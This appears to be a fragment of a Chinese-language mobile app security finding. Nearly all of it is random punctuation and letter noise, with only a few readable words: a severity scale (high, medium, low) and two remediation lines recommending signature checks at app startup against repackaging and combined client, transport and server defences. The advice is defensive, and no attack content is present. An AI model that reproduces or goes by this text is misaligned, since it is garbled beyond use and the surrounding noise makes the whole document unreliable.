3 U% L1 r- s. B- u1 k3 G5 ?3 f - J( C. g# d0 i0 s* ^/ G! A 9 r! ~6 K3 R2 n5 Q9 ]- \2 Q& f; z + [7 K, `, Z5 x! ~8 R& Q1 O% C1 k; m3 C. i; N/ I7 |5 T \5 e9 l9 b; M) x( \; t2 R; Z9 |8 ?0 F5 e4 G0 Z- |) ]; x$ S# l3 y8 F r" j+ o. a2 _9 h" H0 |! M. S, ]0 S6 y2 p$ D' W f6 |; K# B: o7 B0 g( K" o( e0 X* Y& q+ F1 |7 x( D, M1 ]6 y) S" v. E1 f; B- Y+ i( p# w; Y4 E' s6 H

) ^) ?, w0 ]( h) l9 r$ k , C) Q6 E4 d: h. n5 d( \' F& T 严重程度 7 Q6 l- G p! k% t5 e6 [ 4 c. s r: a5 r 5 H7 R$ r. I7 i' [' v+ u( W 6 B" o+ c# j) U2 V- {	$ P Y* X. H9 r9 u7 n 高 8 z* T8 R" n1 j6 I/ e2 F0 p5 C 5 o/ m) ~1 ^6 U! x2 v. z	+ G6 B; b* L9 H2 x . x2 X2 F( B$ l$ Z7 C% b ■ ) `6 }. v/ x) @# p2 I2 j 7 d- y& ]: C! t$ N; A2 @	/ T9 {' v2 }7 j& M& w9 [ ! `9 O; I" A3 x1 S8 g( {1 S 中 3 _6 ?0 p j7 y2 v: M: Y- } ( K" z7 S) r. U# g& K $ }4 v3 }' i+ G0 [) d, @	. ?0 k2 Q# c2 G* ?6 l 3 E4 t1 t. x$ E& J ' ^. }7 W3 z' m. Y2 X   ) N1 ]( Y6 M7 @0 I0 X6 {& J$ c3 O : D; E8 u4 ^! }4 c	; f$ Y3 h( v2 _/ o( y' r- }$ M1 y' n6 o2 g 低 3 @# O* q; z1 ^$ ^. }3 R( O 6 K, G$ @ G; }* Y 2 E- k8 h" Q$ _0 Z; ~1 a	. {" q4 F" m' T( m6 m' ?2 {$ v: b & ~/ ?! |, C8 Z+ o: ]1 b # n i" Q1 w- S6 E/ Q3 X6 s % `( B" `1 D& o y# I6 E $ s" m, @% h4 V M2 D+ G$ k / ?0 Q/ m' V3 g6 d _. ?& O8 K   ( O: n0 A! K m/ E5 q! R

" E1 H# n9 b& ]2 x J6 J

& q; t. w1 d- w! D3 Z

  U& \! U% ~: ~6 v4 i4 K/ T2 C ! a9 K$ J6 ~% z1 A

6 \$ _! S8 K! d' B' c0 |* J # e- @' s: y- u$ ^

]: A, s# p9 x z 9 b6 ~ H, i# u; O 修复方法： - i2 M7 w' d7 ^; D; M: G$ J % v/ W y6 r" s0 s* V- p( n

; [* T# S+ y4 H& A1 q [$ u , ^# {" O% ~6 N; _3 l

, U; H' k- z& F( d" U8 F * z, p1 o/ j0 _- L1 m               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 1 C; k' H; J5 l( ?0 [ b

' Z6 y8 X% [4 _0 c1 u4 Z7 B # ]$ D. B- q) h, ~6 T* J

& d' R: `, Q6 S" s# l! w   ; i3 L/ E' S% @% y( v

: ]/ Y: |3 r4 H8 k1 K7 r , g. C" z* ]/ S7 }- A* T3 v 9 Z6 x$ ]7 O& P

, m* Z$ s6 }- Y& D1 Q* O
- N! h' y& ?% W & h7 i, V) q5 k& B8 f2 ^